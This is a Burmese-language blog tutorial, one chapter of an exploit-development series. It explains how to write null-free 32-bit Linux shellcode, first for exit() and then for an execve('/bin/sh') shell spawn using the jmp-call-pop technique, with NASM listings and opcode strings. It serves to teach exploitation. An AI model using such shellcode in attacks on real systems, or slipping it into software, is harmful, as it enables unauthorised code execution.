0x06 – Shellcoding

ပထမဦးစြာ Shellcode Injection မလုပ္ခင္ Shellcode တစ္ခုဘယ္လိုဖန္တီးလဲဆိုတာကို အရင္ဆံုး က်ေနာ္တို႕ေလ့လာၾကတာပိုျပီးသင့္ေတာ္မယ္လို႕ထင္ပါတယ္။ သူမ်ားေရးျပီးသား Shellcode ေတြရွိသလို Metasploit က msfvenom နဲ႕ က်ေနာ္တုိ႕ Shellcode ကို generate လုပ္လို႕ရပါတယ္။ ဒါေပမဲ့ က်ေနာ္တို႕မွာက ေလာေလာဆယ္ ဘာမွ inject စရာမရွိဘူး အဓိကေလ့လာဖို႕ပဲျဖစ္ေတာ့ ဒီလိုလုပ္လုိက္ရင္လြယ္တယ္ဆိုေပမဲ့ Shellcoding ကို နားလည္ထားရင္ေတာ့ ပိုျပီးသင့္ေတာ္လိမ့္မယ္လို႕ ေတြးမိပါတယ္
ဒါေၾကာင့္ Shellcode ေတြဟာ ဘာလဲ ? က်ေနာ္တို႕ ဘယ္လိုေရးမလဲ သူမ်ားေတြဘယ္လိုေရးထားလဲဆိုတာကိုေလ့လာၾကမယ္

အခန္း ၂ မွာ Writing Assembly ဆိုတဲ့ ေခါင္းစဥ္နဲ႕ Assembly နဲ႕ program ေရးတာေလး အေျခခံကို က်ေနာ္တို႕ေလ့လာျပီးပါျပီ အခုအခါ အလြယ္ဆံုးျဖစ္တဲ့ Exit program ေလးကေနပဲစေလ့လာမွာပါ

ဒီအေၾကာင္းအရာေတြကို Shellcoder Handbook နဲ႕ တျခား Online ကေနက်ေနာ္ရွာဖတ္ထားတာျဖစ္ပါတယ္။

Exit with C

main() 
{
  exit(0);
}

ဒါကိုက်ေနာ္တို႕ Disassemble လုပ္ၾကည့္မယ္။

Note * compile လုပ္တဲ့အခါမွာ static လုပ္ဖို႕လိုပါတယ္ dynamic linking လုပ္လိုက္တဲ့အခါမွာ ၾကည့္ရတာအဆင္ေျပေတာ့မွာမဟုတ္လို႕ပါ။

gcc -static -o exit exit.c

ဒီလိုဆို disassemble လုပ္ၾကည့္မယ္

+15 မွာ eax ထဲကို 1 ထည့္တယ္ eax = 1 က system calls exit ကို ေခၚသံုးတယ္ဆိုတာ အခန္း ၂ မွာတုန္းက က်ေနာ္ေရးထားျပီးပါျပီ။ system call ကို အလုပ္လုပ္ေစခ်င္ျပီဆိုရင္ int $0x80 နဲ႕ execute လုပ္တယ္ဆိုတာ လဲ ေျပာခဲ့ျပီးပါျပီ ။ system call ref အေနနဲ႕ ဒီဟာ ေလးကမဆိုးဘူးလို႕ထင္ပါတယ္။ မိမိၾကိုက္နွစ္သက္ရာယူနိုင္ပါတယ္။ ဒီလိုဆိုရင္ အခန္း ၂ တုန္းက assembly နဲ႕ေရးထားခဲ့တဲ့ exit program ေလးျပန္ၾကည့္ရေအာင္

.text

.globl _start

_start:
        movl $1,%eax
        movl $0,%ebx
        int $0x80

က်ေနာ္တို႕ ဒီေရးထားတဲ့ assembly ကို object file ျပန္ထုတ္ဖို႕အတြက္ as assembler ကိုသံုးမယ္ ျပီးရင္ေတာ့ link လုပ္ေပးရမယ္

as -o exit.o exit.asm

ld -o exit_program exit.o

ဒါက exit လုပ္တယ္ဆိုတာ သိျပီးသားျဖစ္ပါတယ္။ ဒီလိုဆို ဒီကေန shellcode ဘယ္လိုဖန္တီးမလဲ?

Memory Address နဲ႕ Instruction ေတြရဲ႕ အလယ္မွာ OP Code ေလးေတြေတြ႕ပါလိမ့္မယ္။ ဒီလိုဆို OP code ဆိုတာဘာလဲေပါ့

Machine language, also called machine code, refers to instructions coded in patterns of bits (i.e., zeros and ones) that are directly readable and executable by a CPU

( ref 1 ) ( ref 2 )

ဒီ OP code ေတြကလဲ CPU က execute လုပ္တယ္ဆိုတာကို က်ေနာ္တို႕သိရပါတယ္။ ၄င္း op code မွ shellcode ကို ျပန္ဖန္တီးတာကေတာ့ မခက္ပါဘူး။

\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80

ဒီေနရာမွာ တစ္ခုသိထားရမွာက က်ေနာ္တိုက ဖန္တီးလိုက္တဲ့ shellcode က အလုပ္လုပ္ဦးမွာမဟုတ္ပါဘူး ဘာေၾကာင့္လဲဆိုရင္ 0x00 ဆိုတဲ့ NULL character ေတြပါေနတာေတြ႕ရလိမ့္မယ္ NULL character ဟာ web မွာဆိုရင္လဲ သူ႕အေနာက္က instruction  ေတြကို အလုပ္မလုပ္ေစေတာ့ဘူး ဒါေၾကာင့္ NULL terminator လို႕လဲေခၚၾကတယ္။ ဒီေတာ့ က်ေနာ္တုိ႕ Inject လုပ္လို႕ရတဲ့ shellcode ကိုဖန္တီးဖို႕လိုပါမယ္။ 0 ေတြ instruction မွာပါေနတာမလို႕ 0x00 ေတြပါဝင္လာရျခင္းျဖစ္တယ္။ ဒီေတာ့ 0 တို႕ 1 တုိ႕ကို XOR (exclusive or) နဲ႕ က်ေနာ္တို႕ဖန္တီးလို႕ရတယ္ဆိုတဲ့ trick ေလးေတြကို သံုးၾကတာကို ေလ့လာရပါမယ္။ xor ဆိုတာ တူရင္ 0 မတူရင္ 1 လို႕သိထားတယ္။ 0 လိုခ်င္ရင္ တူတဲ့ ၂ ခုကို xor လုပ္ရမွာေပါ့။ ဒီေတာ့

xor ebx,ebx

ebx ကို xor လုပ္ျပီး ebx ထဲကိုထည့္လိုက္တယ္။ ဒီေတာ့ ebx ခ်င္းကတူေတာ့ ebx ထဲမွာ 0 ေရာက္သြားတာေပါ့။

ebx ကေတာ့ဟုတ္ျပီ eax ထဲကိုက် 1 ထည့္ရဦးမယ္။ eax မွာ 0 ေတြမပါပဲနဲ႕ ဘာလို႕ 0x00 ေတြဝင္လာသလဲဆိုတာေလးတစ္ခ်က္ ေမးစရာရွိပါတယ္။ က်ေနာ္တို႕ခုလုပ္ေနတာက 32 bit registers ပါ။ eax လို႕ေျပာလိုက္ရင္ eax register ထဲမွာ အခန္းက ၄ ခန္းရွိတယ္ ဒါေပမဲ့ က်ေနာ္တို႕တကယ္တမ္း ထည့္တဲ့တန္ဖိုးက 1 တစ္ခုတည္းဆိုေတာ့ 1 bytes ပဲေနရာယူတယ္ ။ အဲဒါေၾကာင့္ က်န္တဲ့လြတ္ေနတဲ့ေနရာေတြကို Null ေတြျဖည့္ပစ္လိုက္တာျဖစ္တယ္။

eax သည္ 32 bits အတြက္ျဖစ္တယ္ 64 bit မွာဆို rax , 16 bit မွာဆိုရင္ ax , 8 bit ဆိုရင္ AL လို႕ေဖာ္ျပၾကတယ္။ ( ref ) ဒါေၾကာင့္ က်ေနာ္တို႕ 32 bits မလိုခ်င္ဘူး 8 bits ယူမယ္ဆိုေတာ့ AL ကိုသံုးလိုက္ရင္ ခုနလိုပိုေနတဲ့ေနရာေတြမွာ NULL ထဲတဲ့ျပသာနာက ကင္းေဝးသြားပါမယ္။

mov al,1

Final asm က ေအာက္ကလိုျဖစ္သြားမယ္

Section .text
  global _start
_start:
 xor ebx,ebx
 mov al,1
 int 0x80

ဒီတစ္ခါ assemble လုပ္မွာက as နဲ႕မဟုတ္ေတာ့ပါဘူး။ Exploit Development အတြက္က်ေနာ္ေလ့လာခဲ့တဲ့စာေတြမွန္သမွ်မွာလဲ as နဲ႕မလုပ္ဘူး nasm Assembler ကိုပဲသံုးၾကတယ္။ ဒါေၾကာင့္က်ေနာ္တို႕လဲ အဲဒါနဲ႕ပဲလုပ္ေတာ့မယ္။

မရွိရင္ေတာ့ Install လုပ္လိုက္ေပါ့ ။ Kali မွာေတာ့ ပါလာျပီးသားျဖစ္ပါတယ္။

apt-get install nasm

ေအာက္ကပံုေလးမွာၾကည့္မယ္ေနာ္ လြယ္ပါတယ္ -f ဆိုတာ format ကိုေျပာတာပါ ELF ပဲထုတ္လိုက္မယ္

OP code လုိခ်င္ေတာ့ objdump နဲ႕ disass လုပ္ၾကည့္မယ္

\x31\xdb\xb0\x01\xcd\x80

တုိလည္းတိုသြားတယ္ NULL character ေတြလဲမပါေတာ့ဘူး ဒါကို မစမ္းျပေတာ့ဘူး။ ဘာေၾကာင့္ဆို exit က exit လုပ္တာဆိုေတာ့ မသိသာဘူး ။ ဒါေပမဲ့ ေရးရတဲ့အေၾကာင္းကေတာ့ရွင္းတယ္ ။ နားလည္လြယ္တဲ့ စေလ့လာလို႕ေကာင္းတဲ့ အရာမလို႕ပါ။

Spawing a Shell

အဓိကအေရးၾကီးတဲ့အခန္းက Shell ကို spawn လုပ္ဖို႕ျဖစ္ပါတယ္။ ဒီလုိမွသာ က်ေနာ္တို႕ RCE ( Remote Code Execution ) လုပ္လို႕ရမွာျဖစ္ပါတယ္။ ဒါေပမဲ့လို႕ exploit မွာ Local နဲ႕ Remote ဆိုျပီးကြဲပါတယ္။ Local ကေတာ့ တျခား အားနည္းခ်က္တစ္ခုခုကေန Shell access ရျပီးမွ Privilege Escalation လုပ္တဲ့ေနရာေတြမွာ အမ်ားဆံုးေတြ႕ရပါတယ္။ ဒါေပမဲ့လို႕ က်ေနာ္တို႕ေလ့လာတာက Software Exploit ျဖစ္တဲ့အတြက္ Kernel exploit ေတြနဲ႕မဆိုင္ပဲ app ရဲ႕ permission နဲ႕သာဆိုင္တယ္ဆိုတာ သိထားေစခ်င္ပါတယ္။ app မွာ root user access ေပးထားရင္ ရမယ္ မေပးထားရင္ေတာ့ မရဘူးေပါ့။ Remote ကေတာ့ အဲဒီ Software ကိုယ္တိုင္က အားနည္းခ်က္ရွိတာမ်ိဳးျဖစ္တဲ့အတြက္ တျခား Exploit တစ္ခုခုမလိုပဲ ဒီ software ေၾကာင့္သာ RCE ရတယ္လို႕မွတ္ထားသင့္ပါတယ္။

Shell ကုိလွမ္းေခၚမယ္ဆိုေတာ့ ပထမဆံုး က်ေနာ္တို႕ execute လုပ္တဲ့ System call တစ္ခုလိုမယ္ဗ်။ အဲဒီ system call မွ shell ကို execute လုပ္ေပးမွာျဖစ္တယ္။ ဟုတ္ျပီ ဒါကို ပထမေတာ့ က်ေနာ္တုိ႕ C program နဲ႕ပဲ အရင္စမး္တာေပါ့။

#include <stdio.h>

int main() 
{
char **happy[2];
happy[0]="/bin/sh";
happy[1]=NULL;
execve(happy[0],happy,NULL);

}

exeve() system call အေၾကာင္း ဒီမွာ အေသးစိတ္ဖတ္လို႕ပါတယ္။ first argument အေနနဲ႕ execute လုပ္ခ်င္တဲ့ file ကိုထည့္ရတယ္ဆိုေတာ့ /bin/sh ကိုထည့္တာပါ။

execve() executes the program pointed to by filenamefilename must be either a binary executable

NULL ေတြဘာေၾကာင့္ထည့္တာလဲ

Both argv and envp must be terminated by a null pointer. The argument vector and environment can be accessed by the called program’s main function, when it is defined as int main(int argc, char *argv[], char *envp[])

ဒီလိုဆို ခု ဒီ program က shell spawn ေပးလားမေပးလားစမ္းတာေပါ့

ဟုတ္ျပီ ။ ဒါဆို Shell spawn လုပ္တဲ့ process ကိုနားလည္ျပီ ။ ဒီလိုဆိုရင္ အခုလုပ္ရမွာက Assembly နဲ႕ ေရးရမွာျဖစ္ပါတယ္။ ဒီေနရာမွာနည္းနည္းေတာ့ရွုပ္မယ္ ။ တတ္နိုင္သေလာက္ေတာ့ ျပန္ေရးေပးထားပါတယ္။

ပထမဆံုး system call execve က ဘာလဲဆိုတာသိဖို႕လိုပါတယ္။ syscall ref

sys_execve	0x0b	char __user *	char __user *__user *	char __user *__user *	struct pt_regs *	-	arch/alpha/kernel/entry.S:925

အခုက အရင္လို႕ 1 ေတြ 0 ေတြနဲ႕မျပီးေတာ့ဘူး /bin/sh ဆိုတာၾကီးကပါေသးတယ္။ ဒါေၾကာင့္ အဲ့ string value ေတြကို  hold လုပ္ထားဖို႕လိုအပ္လာပါတယ္ ။

GotoCall:
  Call Shellcode
  db '/bin/sh'

GotoCall ကေနမွာတစ္ဆင့္ db Define byte ကိုသံုးျပီးက်ေနာ္တို႕ shellcode ဆီကို သြားမွာျဖစ္ပါတယ္။ ဒီေတာ့ အၾကမ္းဖ်င္း ဘယ္လိုျဖစ္မလဲ

Section .text
  global _start

start:
  jmp short GotoCall

shellcode:
  <shell_code>

GotoCall:
  Call shellcode
  db '/bin/sh'

main ကေနပဲစရမွာဆိုေတာ့ start ကိုသြားခိုင္းရတယ္။ ျပီးေတာ့မွ GotoCall ဆီကို jump လုပ္လိုက္တယ္။

GotoCall ထဲေရာက္မွ shellcode ကိုျပန္ေခၚတာျဖစ္တယ္။ ဒီေနရာမွာ တစ္ခုရွိေသးတာက execve က ဒီ argument တစ္ခုတည္းလိုတာမဟုတ္ပါဘူး။ ေနာက္ ၂ခုရွိေသးတယ္ မဟုတ္လား

အဲ့အတြက္ပါ db မွာတစ္ခါတည္းထည့္ေပးလုိက္မယ္။

  db '/bin/shJAAAAKKKK'

Shellcode အတြက္ဆက္ေလ့လာမယ္

က်ေနာ္တို႕ GotoCall ကေန argument အေနနဲ႕ထည့္ေပးလိုက္တဲ့ string က local variables ပဲျဖစ္တဲ့အတြက္ stack ထဲကိုေရာက္ပါတယ္။ ေရွ႕ခန္းေတြတုန္းကေျပာခဲ့တယ္ stack ထဲက value ကိုျပန္ယူရင္ေတာ့ pop နဲ႕ယူရပါတယ္။

ဒီေတာ့ stack ထဲကဟာကို esi ထဲကိုအရင္ဆံုးထည့္လိုက္မယ္

pop esi

ဒီလိုဆို ESI ထဲမွာ ‘/bin/shJAAAAKKKK’ ရွိေနျပီ။

ျပီးရင္ eax ထဲမွာ nulls ေရာက္ေနေအာင္ xor လုပ္လိုက္မယ္။

xor eax,eax

ပထမဆံုး argument အတြက္ /bin/sh ပဲလုိုတာ ျဖစ္တယ္ ဒါေၾကာင့္ က်ေနာ္တို႕  ေနာက္ကဟာေတြကို terminate လုပ္ဖို႕လိုတယ္ J က placeholder ပဲျဖစ္တယ္ သူ႕ေနရာက [esi+7] ျဖစ္တယ္။ eax ေတြကို ခုနက xor လုပ္ျပီး null ေတြနဲ႕ျဖည့္ထားတာမလို႕ al ထဲမွာ null ေတြရွိေနတာျဖစ္ပါတယ္။ mov က copy လုပ္တယ္ဆိုတာ ေျပာခဲ့ျပီးပါျပီ။ အဲ့ေတာ့ J ဆိုတဲ့ေနရာမွာ NULL ျဖစ္သြားပီ /bin/shNULL ဆိုျပီး terminate လုပ္လိုက္ျခင္းျဖစ္တယ္

mov byte [esi+7],al

esi ထဲမွာ ရွိေနတဲ့ က်ေနာ္တို႕ string ရဲ႕အစ ရွိတဲ့ address ကို ebx ထဲမွာ copy လုပ္လိုက္တယ္။

lea ebx, [esi]

ebx ထဲမွာသိမ္းထားတဲ့ value ကို  AAAA ရွိတဲ့ေနရာမွာ copy လုပ္တယ္ ။ ဘာလို႕လဲဆိုရင္ exceve() systemcall မွာ ဒုတိယ argument pointer ထည့္ရတာေၾကာင့္ပါ။ အဲ့ေတာ့ အဲ့ေနရာမွာ argument pointer အေနနဲ႕ ESI ရဲ႕အစ address ရွိေနမွာေပါ့။ အဲဒါက /bin/sh ရဲ႕ pointer ပဲေလ။

mov long [esi+8],ebx

ျပီးတဲ့အခါ ေနာက္ဆံုး argument အတြက္ pointer to NULL ဆိုတာက်န္ေသးတယ္။

အဲဒါကို လဲ NULL ဲျဖစ္ေအာင္ဆိုေတာ့ ခုန EAX ထဲမွာက NULL ေတြရွိေနသးတယ္ ။ ထည့္လိုက္မယ္ အဲ့ေနရာမွာ။

mov long [esi+12] ,eax

ဒီလိုဆို ESI ထဲမွာ ဘယ္လိုရွိေနျပီလဲ

[esi]
/bin/sh
NULL  -> [esi+7]
esi address -> argument pointer -> [esi+8]
NULL -> argument pointer to NULL -> [esi+12]

ခုဆိုရင္ argument ၃ ခုလံုးအတြက္ value ေတြရွိေနျပီးျပီ။ eax မွာ system call ကို ေခၚရေတာ့မယ္

mov al,0x0b

ေနာက္ထပ္ argument ေတြက ebx , ecx ,edx အသီးသီးျဖစ္ၾကေတာ့ ခုန ၃ ခုကို အဲ့ထဲေတြျပန္ေရႊ႕မယ္။

mov ebx,esi
lea ecx,[esi+8]
lea edx,[esi+12]

ျပီးရင္ေတာ့ system call ကို အလုပ္လုပ္ေတာ့မယ္ဆိုေတာ့

int 0x80

ဒါဆိုရင္ ေနာက္ဆံုး final asm ကေအာက္ကလိုျဖစ္သြားမယ္

Section .text
  global _start

start:
  jmp short GotoCall

shellcode:
  pop esi
  xor eax , eax
  mov byte [esi+7],al
  lea ebx,[esi]
  mov long [esi+8],ebx
  mov long [esi+12],eax
  mov byte al,0x0b
  mov ebx,esi
  lea ecx , [esi+8]
  lea edx , [esi+12]
  int 0x80

GotoCall:
  Call shellcode
  db '/bin/shJAAAAKKKK'

ဒီလိုဆို assemble လုပ္ၾကတာေပါ့။

nasm -f elf shell_spawn.asm
ld -o shell_spawn2 shell_spawn.o

OP code ေတြရျပီ။

အခုေရးထားတဲ့အေၾကာင္းအရာေတြကိုေတာ့ က်ေနာ္ Shellcoder Handbook အခန္း ၃ မွ ေလ့လာျပီး ျပန္စမ္းျပီးေရးထားတာျဖစ္ပါတယ္။

Shellcoder Handbook

ေနာက္တစ္ခန္းကေတာ့ Shellcode Injection အေၾကာင္းဆက္ေရးပါမယ္။ ဒီဟာက နားလည္ေအာင္ေလ့လာျခင္းသာျဖစ္ပါတယ္။

သူမ်ားေရးထားျပီးသားေတြ တစ္ျပံဳၾကီးေတာ့ရွိပါတယ္။

Shell storm

http://shell-storm.org/shellcode/

Metasploit နဲ႕လဲ msfvenom ကိုသံုးလုိ႕ရပါတယ္

ေနာက္ခန္းၾကမွဆက္တာေပါ့

 

2 Comments

  1. Thanks For Sharing Bro.
    တစ္ပိုင္း တစ္ပုိင္းနဲ့ ရွင္းျပသြားတာ ေကာင္းတယ္ အကို။
    ေနာက္ တစ္ပိုင္းျဖစ္တဲ့ Shellcode Injection ကိုလဲ ေစာင္ေမ်ွာ္ေနပါတယ္ဗ်ို့။
    ေနာက္ဆံုးေတာ့ Intel syntex နဲ့ စေရးျပီေလ 😛

    • ဟိဟိ Intel Syntax က ေရးရတာလြယ္တယ္ 😀 ဟိုဟာက % ေတြ $ ေတြနဲ႕ လက္ေပါက္ကပ္မွကပ္

Comments are closed.